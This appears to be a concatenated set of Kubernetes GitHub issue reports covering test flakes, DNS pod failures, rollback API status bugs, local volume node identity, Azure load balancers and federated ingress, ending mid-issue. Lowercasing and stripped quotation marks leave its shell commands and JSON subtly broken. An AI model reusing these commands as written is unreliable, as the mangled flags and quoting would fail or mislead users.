pod.beta.kubernetes.io/hostname:ss-1 pod.beta.kubernetes.io/subdomain:test        } { {default-token-tshq0 {nil nil nil nil nil &secretvolumesource{secretname:default-token-tshq0,items:  ,defaultmode: 420,optional:nil,} nil nil nil nil nil nil nil nil nil nil nil nil nil nil nil nil nil nil}}      {nginx gcr.io/google_containers/nginx-slim:0.7                 {map   map  }  {default-token-tshq0 true /var/run/secrets/kubernetes.io/serviceaccount }  nil &probe{handler:handler{exec:nil,httpget:&httpgetaction{path:/index.html,port:80,host:,scheme:http,httpheaders:  ,},tcpsocket:nil,},initialdelayseconds:0,timeoutseconds:1,periodseconds:10,successthreshold:1,failurethreshold:3,} nil /dev/termination-log file ifnotpresent nil false false false}  always 0xc42115c958 <nil> clusterfirst map   default default <nil> e2e-gce-agent-pr-32-0-minion-group-7bz0 false false false &podsecuritycontext{selinuxoptions:nil,runasuser:nil,runasnonroot:nil,supplementalgroups:  ,fsgroup:nil,}      nil default-scheduler   } {pending  {initialized true 0001-01-01 00:00:00 +0000 utc 2017-02-25 03:57:22 -0800 pst  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-02-25 03:57:22 -0800 pst containersnotready containers with unready status:  nginx } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-02-25 03:57:22 -0800 pst  }    10.240.0.4  2017-02-25 03:57:22 -0800 pst     {nginx {&containerstatewaiting{reason:containercreating,message:,} nil nil} {nil nil nil} false 0 gcr.io/google_containers/nginx-slim:0.7  }  besteffort}} ,}\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/statefulset_utils.go:272\r    \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/42097/pull-kubernetes-e2e-gce-gci/19477/\r @kubernetes/sig-apps-test-failures

the gke engprod team will stop supporting sigs running their testing on shared jenkins infrastructure after 1.8\r \r please migrate your jobs to prow. if this is infeasible for some reason please let sig-testing know what we need to add to prow and/or plan to create and maintain your own jenkins instance if we cannot come up with a solution kubernetes/test-infra 3778\r \r this impacts the following jobs:\r    \r   \ ci-kubernetes-e2e-gce-large-correctness\ : {\r   \ ci-kubernetes-e2e-gce-large-performance\ : {\r   \ ci-kubernetes-e2e-gce-scalability\ : {\r   \ ci-kubernetes-e2e-gce-scalability-release-1-6\ : {\r   \ ci-kubernetes-e2e-gce-scalability-release-1-7\ : {\r   \ ci-kubernetes-e2e-gce-scale-correctness\ : {\r   \ ci-kubernetes-e2e-gce-scale-performance\ : {\r   \ ci-kubernetes-e2e-gci-gce-scalability\ : {\r   \ ci-kubernetes-e2e-gci-gce-scalability-release-1-6\ : {\r   \ ci-kubernetes-e2e-gci-gce-scalability-release-1-7\ : {\r   \ ci-kubernetes-e2e-gke-large-correctness\ : {\r   \ ci-kubernetes-e2e-gke-large-deploy\ : {\r   \ ci-kubernetes-e2e-gke-large-performance\ : {\r   \ ci-kubernetes-e2e-gke-large-teardown\ : {\r   \ ci-kubernetes-e2e-gke-scale-correctness\ : {\r   \ ci-kubernetes-kubemark-100-gce\ : {\r   \ ci-kubernetes-kubemark-5-gce\ : {\r   \ ci-kubernetes-kubemark-5-gce-1.5\ : {\r   \ ci-kubernetes-kubemark-500-gce\ : {\r   \ ci-kubernetes-kubemark-gce-scale\ : {\r   \ ci-kubernetes-kubemark-high-density-100-gce\ : {\r   \ ci-perf-tests-kubemark-100-benchmark\ : {\r   \ pull-kubernetes-kubemark-e2e-gce\ : {\r   \ pull-kubernetes-kubemark-e2e-gce-gci\ : {\r    \r \r https://github.com/kubernetes/test-infra/issues/3774\r @kubernetes/sig-scalability-bugs

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r \r   what happened  :\r when making a regular rollback action to a deployment, i expect to receive a response of success, but the status in response seems incorrect：\r \r _root@lcq-dev:/workspace/scripts  curl http://127.0.0.1:8080/apis/extensions/v1beta1/namespaces/default/deployments/nginx2-deployment/rollback -x post -d '{\ kind\ : \ deploymentrollback\ , \ apiversion\ : \ extensions/v1beta1\ , \ name\ : \ nginx-deployment\ , \ rollbackto\ : {\ revision\ : 1}}' -h \ accept: application/json,  / \  -h \ content-type: application/json\ \r {\r   \ kind\ : \ status\ ,\r   \ apiversion\ : \ v1\ ,\r   \ metadata\ : {},\r     \ status\ : \ failure\ ,  \r   \ message\ : \ rollback request for deployment \\\ nginx-deployment\\\  succeeded\ ,\r   \ code\ : 200\r }_\r \r   what you expected to happen  :\r \r status in rollback response correct\r \r \r   anything else we need to know?  :\r seems a reasonable assignment to the field \ status\  in rollback response is required，i'll fix it\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r   \r   what happened  :\r in gce/gke, the nodes are managed by instance groups, which causes nodes to get recreated with the same name, but different uid.\r \r this causes inconsistency with local pvs.  the local static provisioner marks pvs with the node uid, so on the new node, it will not create/delete any pvs for the old node.  however, pod scheduling + volume mount only looks at the node name, so your pod will get scheduled on the new node with the old pv, but all the data will be gone  since it's a new node with new disks .  in addition, the provisioner will create new pvs for the new disks, so other applications are free to bind and use those new pvs.  then you could end up having 2 pods use the same disk, which is very bad.\r \r i think this could be solved in one of these ways:\r 1. make node uid part of the node affinity.  that means we also need to add node uid as a label on the node object  and i think node team doesn't want to add more labels .  this means that if a node is recreated, the pod cannot be scheduled because the node uid no longer exists.  and we would need to rely on pv tolerations to unbind the pvc and find a new one.\r \r 2. don't use node uid and just use node name.  if you use local pvs on an environment where the local disks are ephemeral, like gce, then you need to be prepared to lose your data at any time.  on an environment where the local disks are persistent, then it's up to the administrator to make sure they don't accidentally create two nodes with the same name.\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r  dnsmasq  fails to achieve healthy state and is killed and restarted infinetely.\r  kubectl describe  contains: \r  liveness probe failed: http probe failed with statuscode: 503 \r \r   what you expected to happen  :\r  dnsmasq  to achieve the healthy state\r \r   how to reproduce it  as minimally and precisely as possible   :\r  minikube start --extra-config=apiserver.authorization.mode=rbac \r \r   anything else we need to know?  :\r output of  kubectl logs --namespace=kube-system $ kubectl get pods --namespace=kube-system -l k8s-app=kube-dns -o name  -c dnsmasq :\r    \r i0914 13:05:35.457888       1 main.go:76  opts: {{/usr/sbin/dnsmasq  -k --cache-size=1000 --log-facility=- --server=/cluster.local/127.0.0.1 10053 --server=/in-addr.arpa/127.0.0.1 10053 --server=/ip6.arpa/127.0.0.1 10053  true} /etc/k8s/dns/dnsmasq-nanny 10000000000}\r i0914 13:05:35.458075       1 nanny.go:86  starting dnsmasq  -k --cache-size=1000 --log-facility=- --server=/cluster.local/127.0.0.1 10053 --server=/in-addr.arpa/127.0.0.1 10053 --server=/ip6.arpa/127.0.0.1 10053 \r i0914 13:05:35.467308       1 nanny.go:111  \r w0914 13:05:35.467334       1 nanny.go:112  got eof from stdout\r i0914 13:05:35.467353       1 nanny.go:108  dnsmasq 10 : started, version 2.76 cachesize 1000\r i0914 13:05:35.467358       1 nanny.go:108  dnsmasq 10 : compile time options: ipv6 gnu-getopt no-dbus no-i18n no-idn dhcp dhcpv6 no-lua tftp no-conntrack ipset auth no-dnssec loop-detect inotify\r i0914 13:05:35.467361       1 nanny.go:108  dnsmasq 10 : using nameserver 127.0.0.1 10053 for domain ip6.arpa \r i0914 13:05:35.467363       1 nanny.go:108  dnsmasq 10 : using nameserver 127.0.0.1 10053 for domain in-addr.arpa \r i0914 13:05:35.467366       1 nanny.go:108  dnsmasq 10 : using nameserver 127.0.0.1 10053 for domain cluster.local \r i0914 13:05:35.467434       1 nanny.go:108  dnsmasq 10 : reading /etc/resolv.conf\r i0914 13:05:35.467448       1 nanny.go:108  dnsmasq 10 : using nameserver 127.0.0.1 10053 for domain ip6.arpa \r i0914 13:05:35.467450       1 nanny.go:108  dnsmasq 10 : using nameserver 127.0.0.1 10053 for domain in-addr.arpa \r i0914 13:05:35.467452       1 nanny.go:108  dnsmasq 10 : using nameserver 127.0.0.1 10053 for domain cluster.local \r i0914 13:05:35.467455       1 nanny.go:108  dnsmasq 10 : using nameserver 10.0.2.3 53\r i0914 13:05:35.467534       1 nanny.go:108  dnsmasq 10 : read /etc/hosts - 7 addresses\r    \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.5\r - cloud provider or hardware configuration  : minikube 0.21.1 on os x, using virtualbox.\r - os  e.g. from /etc/os-release : macos sierra 10.12.5\r - kernel  e.g.  uname -a  : darwin kernel version 16.6.0\r - install tools: minikube 0.21.1\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r $ sudo kubeadm reset\r $ sudo systemctl restart kubelet.service\r $ sudo kubeadm init --pod-network-cidr=10.244.0.0/16\r $ kubectl create -f https://raw.githubusercontent.com/coreos/flannel/master/documentation/kube-flannel.yml\r $ kubectl get pod --all-namespaces\r kube-system   kube-dns-545bc4bfd4-jp5kf                                                 2/3       runcontainererror   1          1m\r \r issue on rhel 7.4 for kube dns\r failed \r kubelet, ec2bcf.compute-xxxxxx.xxxxx.internal  \r error: failed to start container \ kubedns\ : error response from daemon: oci runtime error: container_linux.go:262: \r starting container process caused \ process_linux.go:261: \r applying cgroup configuration for process caused \\\ no such device or address\\\ \ \r \r   what you expected to happen  :\r kube-dns should be running fine\r   how to reproduce it  as minimally and precisely as possible   :\r on rhel 7.4 execute below \r \r $ sudo kubeadm reset\r $ sudo systemctl restart kubelet.service\r $ sudo kubeadm init --pod-network-cidr=10.244.0.0/16\r $ kubectl create -f https://raw.githubusercontent.com/coreos/flannel/master/documentation/kube-flannel.yml\r $ kubectl get pod --all-namespaces\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :kubectl/kubeadm version v1.8.1\r - cloud provider or hardware configuration: 4 intel r  xeon r  cpu e5-2699 v3 @ 2.30ghz /16 gb mem\r - os  e.g. from /etc/os-release :red hat enterprise linux server release 7.4  maipo \r - kernel  e.g.  uname -a  :4.1.12-103.7.3.el7uek.x86_64\r - install tools:\r - others:\r

we're seeing occasional failures while running the scheduler benchmark integration tests.\r you can see that the job is flaking here - https://k8s-testgrid.appspot.com/sig-scalability-benchmarks scheduler\r \r more specifically it is the anti-affinity ones that are flaking. the normal scheduling ones  seem fine  https://storage.googleapis.com/kubernetes-jenkins/logs/ci-benchmark-scheduler-master/562/build-log.txt :\r \r    \r i0213 16:18:59.949  goos: linux\r i0213 16:18:59.949  goarch: amd64\r i0213 16:18:59.950  pkg: k8s.io/kubernetes/test/integration/scheduler_perf\r i0213 16:18:59.950  benchmarkscheduling/100nodes/0pods-8         \t     300\t   3683640 ns/op\t  450139 b/op\t    5085 allocs/op\r i0213 16:18:59.950  benchmarkscheduling/100nodes/1000pods-8      \t     200\t   6641197 ns/op\t  607713 b/op\t    7572 allocs/op\r i0213 16:18:59.951  benchmarkscheduling/1000nodes/0pods-8        \t     100\t  46876781 ns/op\t 2525616 b/op\t   30297 allocs/op\r i0213 16:18:59.951  benchmarkscheduling/1000nodes/1000pods-8     \t     100\t  45043884 ns/op\t 3053762 b/op\t   39828 allocs/op\r i0213 16:18:59.951  exit status 255\r i0213 16:18:59.951  fail\tk8s.io/kubernetes/test/integration/scheduler_perf\t76.270s\r    \r \r these failures will create false positives for failures  ones that are not due to benchmark crossing thresholds .\r \r cc @kubernetes/sig-scheduling-bugs @kubernetes/sig-scalability-misc @bsalamat

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r bug report\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r \r azure internal load balancer created for a  service  of type  loadbalancer  has empty backend pool.\r \r   what you expected to happen  :\r \r vms from the primary availability set should be added to the backend pool.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r i reliably reproduce it using the following resource:\r    \r {\r   \ kind\ : \ service\ ,\r   \ apiversion\ : \ v1\ ,\r   \ metadata\ : {\r     \ name\ : \ test-service\ ,\r     \ namespace\ : \ development\ ,\r     \ annotations\ : {\r       \ service.beta.kubernetes.io/azure-load-balancer-internal\ : \ true\ \r     }\r   },\r   \ spec\ : {\r     \ ports\ :  \r       {\r         \ protocol\ : \ tcp\ ,\r         \ port\ : 12345,\r         \ targetport\ : 12345\r       }\r      ,\r     \ selector\ : {\r       \ app\ : \ test-app\ \r     },\r     \ clusterip\ : \ 10.0.100.2\ ,\r     \ type\ : \ loadbalancer\ ,\r     \ loadbalancerip\ : \ 172.19.5.10\ \r   }\r }\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.2\ , gitcommit:\ 5fa2db2bd46ac79e5e00a4e6ed24191080aa463b\ , gittreestate:\ clean\ , builddate:\ 2018-01-18t09:42:01z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.2\ , gitcommit:\ 5fa2db2bd46ac79e5e00a4e6ed24191080aa463b\ , gittreestate:\ clean\ , builddate:\ 2018-01-18t09:42:01z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release :\r    \r name=\ ubuntu\ \r version=\ 16.04.3 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.3 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :  linux k8s-master-34133888-0 4.13.0-1005-azure  7-ubuntu smp mon jan 8 21:37:36 utc 2018 x86_64 x86_64 x86_64 gnu/linux \r - install tools: acs engine\r    \r version: canary\r gitcommit: 7923b960\r gittreestate: clean\r    \r - others:\r

is there any way to remove podcidr of a node except deleting the node and rejoining it to the cluster? i had changed --allocate-node-cidrs from true to false in kube-controller-manager.yaml, but some nodes had been assigned podcidr.\r \r    \r  root@kc-bcc-pod24-10-196-108-10 ~   kubectl get node kc-bcc-pod24-10-196-108-10.hadoop.jd.local -oyaml\r apiversion: v1\r kind: node\r metadata:\r   annotations:\r     node.alpha.kubernetes.io/ttl: \ 0\ \r     volumes.kubernetes.io/controller-managed-attach-detach: \ true\ \r   creationtimestamp: 2018-03-01t12:42:45z\r   labels:\r     beta.kubernetes.io/arch: amd64\r     beta.kubernetes.io/os: linux\r     failure-domain.beta.kubernetes.io/region: kc\r     failure-domain.beta.kubernetes.io/zone: kc-pod24\r     kubernetes.io/hostname: kc-bcc-pod24-10-196-108-10.hadoop.jd.local\r     node-role.kubernetes.io/master: \ \ \r   name: kc-bcc-pod24-10-196-108-10.hadoop.jd.local\r   resourceversion: \ 16834139\ \r   selflink: /api/v1/nodes/kc-bcc-pod24-10-196-108-10.hadoop.jd.local\r   uid: 0a8b9684-1d4e-11e8-b22b-3cfdfe5f325c\r spec:\r   externalid: kc-bcc-pod24-10-196-108-10.hadoop.jd.local\r   podcidr: 10.163.120.0/24\r   taints:\r   - effect: noschedule\r     key: node-role.kubernetes.io/master\r     timeadded: null\r status:\r    \r  \r sig/node\r \r   what happened  :\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :  1.9.3\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

 \r tracking for 1.13 release. this includes moving the object and the associated logic interacting with the object  e.g. topology  to beta\r \r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r when the comment section associated with the conformance test is separated with more that four spaces/tabs etc then the comment is ignored.\r \r   what you expected to happen  :\r comment associated with the conformance test should be used instead of ginkgo comments.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   received output  due to extra tabs   \r \r     blackbox test when starting a container that exits should run with the expected status  https://github.com/kubernetes/kubernetes/tree/master/test/e2e/common/runtime.go l45 \r \r   expected output:  \r     container runtime, restart policy, pod phases  https://github.com/kubernetes/kubernetes/tree/master/test/e2e/common/runtime.go l45 \r \r release : v1.13\r if the restart policy is set to ‘always’, pod must be restarted when terminated, if restart policy is ‘onfailure’, pod must be started only if it is terminated with non-zero exit code. if the restart policy is ‘never’, pod must never be restarted. all these three test cases must verify the restart counts accordingly.\r \r \r \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.13\r \r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r  kubectl get pv -n namespace  does not filter output by namespace. instead it returns pv in all namespaces.\r \r   what you expected to happen  :\r  kubectl get pv -n namespace  filter output by namespace. returns pv from the provided namespace.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.13.4\r - cloud provider or hardware configuration: aws eks\r - os  e.g:  cat /etc/os-release  : ubuntu 18.10\r - kernel  e.g.  uname -a  : 4.18.0-16-generic\r - install tools:\r - others:\r

spawned from https://github.com/kubernetes/kubernetes/pull/21497.  the implementation of the  basiclongrunningrequestcheck  can be gamed by adding spurious query parameters. we can prevent this by doing a full request parse and interpreting the result to only allow things like watch, proxy, port-forward, and exec to be long running.  this is more expensive and more invasive than the change in the existing pull, but is probably more resilient to abuse.

i'm trying setting up the kubernetes cluster v1.2.0-beta.0 on centos7  and also tried on fedora23  using cluster/kube-up.sh command,  i have added vsphere support into vagrant, so the kubernetes scripts could provision vms from my vsphere  it works, there is a pending pull request on this  link  https://github.com/kubernetes/kubernetes/pull/23121  .   the problem is during salt script execution: etcd failed to start    ==> master: error:  client: etcd cluster is unavailable or misconfigured ==> master: error  0: client: endpoint http://10.245.1.2:4379 exceeded header timeout    trying to start etcd manually from the master machine gives me the following reason:   listen tcp 10.245.1.2:4380: bind: cannot assign requested address      centos7 log             -- unit etcd.service has begun starting up.     mar 17 16:27:17 kubernetes-master etcd 23995 : recognized and used environment variable etcd_advertise_client_urls=http://10.245.1.2:4379     mar 17 16:27:17 kubernetes-master etcd 23995 : recognized and used environment variable etcd_initial_advertise_peer_urls=http://10.245.1.2:4380     mar 17 16:27:17 kubernetes-master etcd 23995 : recognized and used environment variable etcd_initial_cluster=flannel=http://10.245.1.2:4380     mar 17 16:27:17 kubernetes-master etcd 23995 : recognized and used environment variable etcd_listen_peer_urls=http://10.245.1.2:4380     mar 17 16:27:17 kubernetes-master etcd 23995 : recognized environment variable etcd_name, but unused: shadowed by corresponding flag      mar 17 16:27:17 kubernetes-master etcd 23995 : recognized environment variable etcd_data_dir, but unused: shadowed by corresponding flag      mar 17 16:27:17 kubernetes-master etcd 23995 : recognized environment variable etcd_listen_client_urls, but unused: shadowed by corresponding flag      mar 17 16:27:17 kubernetes-master etcd 23995 : etcd version: 2.2.2     mar 17 16:27:17 kubernetes-master etcd 23995 : git sha: 6335fdc     mar 17 16:27:17 kubernetes-master etcd 23995 : go version: go1.4.2     mar 17 16:27:17 kubernetes-master etcd 23995 : go os/arch: linux/amd64     mar 17 16:27:17 kubernetes-master etcd 23995 : setting maximum number of cpus to 2, total number of available cpus is 2     mar 17 16:27:17 kubernetes-master etcd 23995 : listen tcp 10.245.1.2:4380: bind: cannot assign requested address     mar 17 16:27:17 kubernetes-master systemd 1 : etcd.service: main process exited, code=exited, status=1/failure     mar 17 16:27:17 kubernetes-master systemd 1 : failed to start etcd server.      fedora23 log          -- unit etcd.service has begun starting up. mar 17 14:57:32 kubernetes-master etcd 9504 : recognized and used environment variable etcd_advertise_client_urls=http://10.245.1.2:4379 mar 17 14:57:32 kubernetes-master etcd 9504 : recognized and used environment variable etcd_data_dir=/var/lib/etcd/flannel.etcd mar 17 14:57:32 kubernetes-master etcd 9504 : recognized and used environment variable etcd_initial_advertise_peer_urls=http://10.245.1.2:4380 mar 17 14:57:32 kubernetes-master etcd 9504 : recognized and used environment variable etcd_initial_cluster=flannel=http://10.245.1.2:4380 mar 17 14:57:32 kubernetes-master etcd 9504 : recognized and used environment variable etcd_listen_client_urls=http://10.245.1.2:4379 mar 17 14:57:32 kubernetes-master etcd 9504 : recognized and used environment variable etcd_listen_peer_urls=http://10.245.1.2:4380 mar 17 14:57:32 kubernetes-master etcd 9504 : recognized and used environment variable etcd_name=flannel mar 17 14:57:32 kubernetes-master etcd 9504 : etcd version: 2.2.1 mar 17 14:57:32 kubernetes-master etcd 9504 : git sha: 75f8282 mar 17 14:57:32 kubernetes-master etcd 9504 : go version: go1.5.1 mar 17 14:57:32 kubernetes-master etcd 9504 : go os/arch: linux/amd64 mar 17 14:57:32 kubernetes-master etcd 9504 : setting maximum number of cpus to 2, total number of available cpus is 2 mar 17 14:57:32 kubernetes-master etcd 9504 : listen tcp 10.245.1.2:4380: bind: cannot assign requested address mar 17 14:57:32 kubernetes-master systemd 1 : etcd.service: main process exited, code=exited, status=1/failure mar 17 14:57:32 kubernetes-master audit 1 : service_start pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:init_t:s0 msg='unit=etcd comm=\ systemd\  exe=\ /usr/lib/s mar 17 14:57:32 kubernetes-master systemd 1 : failed to start etcd server.        what is the problem here? why etcd cannot start?

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-es-logging/366/  failed:  k8s.io  cluster level logging using elasticsearch  feature:elasticsearch  should check that logs from containers are ingested into elasticsearch {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_logging_es.go:82 some log lines are still missing expected     <int>: 44 to equal     <int>: 0 /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_logging_es.go:81       previous issues for this test:  34666  34708  35409  35445

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-staging-parallel/1406/  failed:  k8s.io  deployment deployment should support rollback when there's replica set with no revision {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/deployment.go:80 expected error:     <errors.aggregate | len:1, cap:1>:           {             errstatus: {                 typemeta: {kind: \ \ , apiversion: \ \ },                 listmeta: {selflink: \ \ , resourceversion: \ \ },                 status: \ failure\ ,                 message: \ an error on the server  \\\ internal server error: \\\\\\\ /apis/extensions/v1beta1/namespaces/e2e-tests-deployment-w1cke/replicasets/test-rollback-no-revision-deployment-3837372172\\\\\\\ \\\   has prevented the request from succeeding  delete replicasets.extensions test-rollback-no-revision-deployment-3837372172 \ ,                 reason: \ internalerror\ ,                 details: {                     name: \ test-rollback-no-revision-deployment-3837372172\ ,                     group: \ extensions\ ,                     kind: \ replicasets\ ,                     causes:                           {                             type: \ unexpectedserverresponse\ ,                             message: \ internal server error: \\\ /apis/extensions/v1beta1/namespaces/e2e-tests-deployment-w1cke/replicasets/test-rollback-no-revision-deployment-3837372172\\\ \ ,                             field: \ \ ,                         },                      ,                     retryafterseconds: 0,                 },                 code: 500,             },         },           an error on the server  \ internal server error: \\\ /apis/extensions/v1beta1/namespaces/e2e-tests-deployment-w1cke/replicasets/test-rollback-no-revision-deployment-3837372172\\\ \   has prevented the request from succeeding  delete replicasets.extensions test-rollback-no-revision-deployment-3837372172  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/deployment.go:202       previous issues for this test:  34687

kubernetes version    use  kubectl version  :\r kubernetes 1.5.1\r \r   environment  :\r - gke\r \r   what happened  :\r after i federated several clusters, all federated services work fine  replica sets, services  except for ingress.\r \r   what you expected to happen  :\r ingress does not get propagated across all clusters\r \r    \r $ for c in $ kubectl config view -o jsonpath='{.contexts   .name}' ; do echo $c; kubectl --context=$c get ingress; done\r \r federation\r name         hosts     address          ports     age\r k8shserver             130.211.40.125   80        44m\r gke_container-solutions_asia-east1-a_gce-asia-east1-a\r no resources found.\r gke_container-solutions_asia-northeast1-a_gce-asia-northeast1-a\r no resources found.\r gke_container-solutions_europe-west1-b_gce-europe-west1-b\r no resources found.\r gke_container-solutions_us-central1-a_gce-us-central1-a\r no resources found.\r gke_container-solutions_us-east1-b_gce-us-east1-b\r name         hosts     address          ports     age\r k8shserver             130.211.40.125   80        45m\r gke_container-solutions_us-west1-a_gce-us-west1-a\r no resources found.\r    \r \r here are controller's log  run with  -v=4  flag  \r https://gist.github.com/anonymous/a51ce3266f97a4103c6d47aabf76c228\r \r   how to reproduce it    as minimally and precisely as possible :\r  all commands used to set it up are in https://github.com/containersolutions/k8shserver/tree/master/scripts \r 1. create a few gke clusters\r 1. initlialize federation\r        bash\r     kubefed init federation --image=gcr.io/google_containers/hyperkube-amd64:v1.5.1 --host-cluster-context=gke_container-solutions_us-east1-b_gce-us-east1-b --dns-zone-name=infra.container-solutions.com\r        \r 1. applied a firewall workaround suggested by @madhusudancs  https://github.com/kubernetes/kubernetes/issues/36327 issuecomment-262354506 \r        \r     gcloud  compute firewall-rules create my-federated-ingress-firewall-rule --source-ranges 130.211.0.0/22 --allow tcp:80 --network default\r        \r 1. verified that clusters are in  ready  state\r        \r     $ kubectl --context=federation get clusters\r     name                        status    age\r     cluster-asia-east1-a        ready     55m\r     cluster-asia-northeast1-a   ready     55m\r     cluster-europe-west1-b      ready     55m\r     cluster-us-central1-a       ready     55m\r     cluster-us-east1-b          ready     55m\r     cluster-us-west1-a          ready     55m\r        \r 1. successfully deployed a federated service\r    \r     $ for c in $ kubectl config view -o jsonpath='{.contexts   .name}' ; do echo $c; kubectl --context=$c get services; done\r \r     federation\r     name         cluster-ip   external-ip       port s    age\r     k8shserver                104.196.209.210   80/tcp    39m\r     gke_container-solutions_asia-east1-a_gce-asia-east1-a\r     name         cluster-ip       external-ip       port s         age\r     k8shserver   10.195.248.129   107.167.190.124   80:31957/tcp   39m\r     kubernetes   10.195.240.1     <none>            443/tcp        3h\r     gke_container-solutions_asia-northeast1-a_gce-asia-northeast1-a\r     name         cluster-ip       external-ip       port s         age\r     k8shserver   10.199.251.248   104.198.126.154   80:31367/tcp   39m\r     kubernetes   10.199.240.1     <none>            443/tcp        3h\r     gke_container-solutions_europe-west1-b_gce-europe-west1-b\r     name         cluster-ip      external-ip     port s         age\r     k8shserver   10.115.252.33   104.199.88.10   80:32418/tcp   39m\r     kubernetes   10.115.240.1    <none>          443/tcp        3h\r     gke_container-solutions_us-central1-a_gce-us-central1-a\r     name         cluster-ip       external-ip     port s         age\r     k8shserver   10.215.251.137   104.154.23.67   80:32695/tcp   39m\r     kubernetes   10.215.240.1     <none>          443/tcp        3h\r     gke_container-solutions_us-east1-b_gce-us-east1-b\r     name         cluster-ip       external-ip       port s         age\r     k8shserver   10.211.244.237   104.196.209.210   80:32665/tcp   39m\r     kubernetes   10.211.240.1     <none>            443/tcp        3h\r     gke_container-solutions_us-west1-a_gce-us-west1-a\r     name         cluster-ip     external-ip     port s         age\r     k8shserver   10.35.246.12   104.198.7.151   80:32714/tcp   39m\r     kubernetes   10.35.240.1    <none>          443/tcp        3h\r    \r \r

kubernetes version  \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3\ , gitcommit:\ 029c3a408176b55c30846f0faedf56aae5992e9b\ , gittreestate:\ clean\ , builddate:\ 2017-02-15t06:40:50z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3\ , gitcommit:\ 029c3a408176b55c30846f0faedf56aae5992e9b\ , gittreestate:\ clean\ , builddate:\ 2017-02-15t06:34:56z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r 3.10.0-327.36.3.el7.x86_64\r centos linux release 7.2.1511  core  \r \r   cluster information  \r name                                 status    age\r kube2master1.yatra.com   ready      41d\r kube2node1.yatra.com      ready      41d\r kube2node2.yatra.com     ready       41d\r \r   kubelet is running with option --resolv-conf to include custmize resolv.conf file   \r root     28235     1  3 09:44 ?        00:00:04 /usr/bin/kubelet --address=0.0.0.0 --port=10250 --pod-infra-container-image=registry.access.redhat.com/rhel7/pod-infrastructure:latest --kubeconfig=/etc/kubernetes/kubeadminconfig 